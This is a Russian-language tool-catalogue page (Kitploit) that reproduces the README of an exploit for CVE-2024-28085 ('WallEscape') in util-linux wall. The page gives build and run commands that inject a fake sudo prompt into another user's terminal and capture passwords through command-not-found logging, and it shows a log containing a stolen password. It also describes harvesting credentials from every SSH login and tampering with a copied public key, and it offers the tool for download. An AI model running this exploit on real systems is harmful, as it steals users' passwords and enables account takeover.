Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2024-28085 — Уязвимость WallEscape в util-linux | Kitploit
Инструменты/GitHubGitHub/skyler-ferrante/cve-2024-28085
Повышение привилегийАтаки на ПаролиЭксплуатацияПост-эксплуатацияСоциальная инженерияRed Teaming
GitHubskyler-ferrante/cve-2024-28085

CVE-2024-28085

Уязвимость WallEscape в util-linux

Репозиторий
5682 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Сайт

Wall-Escape (CVE-2024-28085)

Команда wall из util-linux не фильтрует escape-последовательности в аргументах командной строки. Уязвимый код был добавлен в коммите cdd3cc7fa4 (2013). Все версии с тех пор уязвимы. Полный отчёт можно найти здесь. Я назвал этот баг «WallEscape».

Этот код эксплойта успешно перехватывал пароли в Ubuntu 22.04 с настройками по умолчанию.

Настройка

Убедитесь, что цвет фона и имя пользователя заданы подходящими значениями в throw.c.

Сборка и запуск

Подготовка атаки

root@kitploit:~
git clone https://github.com/skyler-ferrante/CVE-2024-28085.git
./build.sh
./spy > proc.log & ./watch "sudo systemctl start apache2"; ./watch "systemctl start apache2"; sleep .01; ./throw

Я использовал sudo systemctl start apache2, так как она короткая и не выдаёт много вывода. Не забудьте убить spy после запуска эксплойта: pkill spy.

Затем в другом терминале

root@kitploit:~
sudo su
sudo systemctl start apache2

В зависимости от системы жертве может не понадобиться вызывать su, а также в зависимости от того, идёт ли доступ локально или через ssh.

Это должно вызвать появление поддельного приглашения sudo в терминале жертвы. Поскольку многие системы раскрывают ненайденные команды, пароль жертвы может появиться в proc.log.

Пример proc.log

root@kitploit:~
sudo systemctl start apache2
systemctl start apache2
./throw
bash
/usr/bin/python3 /usr/lib/command-not-found -- Password123!
/usr/bin/snap advise-snap --format=json --command Password123!

Примечание

Некоторые люди неправильно поняли, в каких сценариях это можно использовать для атаки на другого пользователя. Нам не нужно атаковать sudo — мы можем атаковать любое место, где пользователь вводит свой пароль. В моей системе после входа пользователя через OpenSSH выполняется команда /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new.

Для перехвата паролей пользователей OpenSSH представьте, что вы выполняете следующее:

root@kitploit:~
./watch "sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new"; sleep 1; ./throw

Затем мы можем отправить сообщение «неверный пароль» после того, как пользователь правильно войдёт через SSH. Sudo — это лишь команда, которую я выбрал для демонстрации, но возможных целей много. Нетрудно представить атакующего, настраивающего сборщик учётных данных, чтобы собирать учётные данные каждого пользователя, входящего через SSH. Это возможно даже для самых непривилегированных пользователей, таких как www-data.

Эта уязвимость также даёт атакующим возможность изменять вывод любой команды. Представьте, что мы дождались команды cat ~/.ssh/id_rsa.pub". Атакующий может изменить то, что пользователь копирует для своего публичного ключа. При таком стиле атаки нам не нужен примитив утечки для ненайденных команд.

Скачать инструмент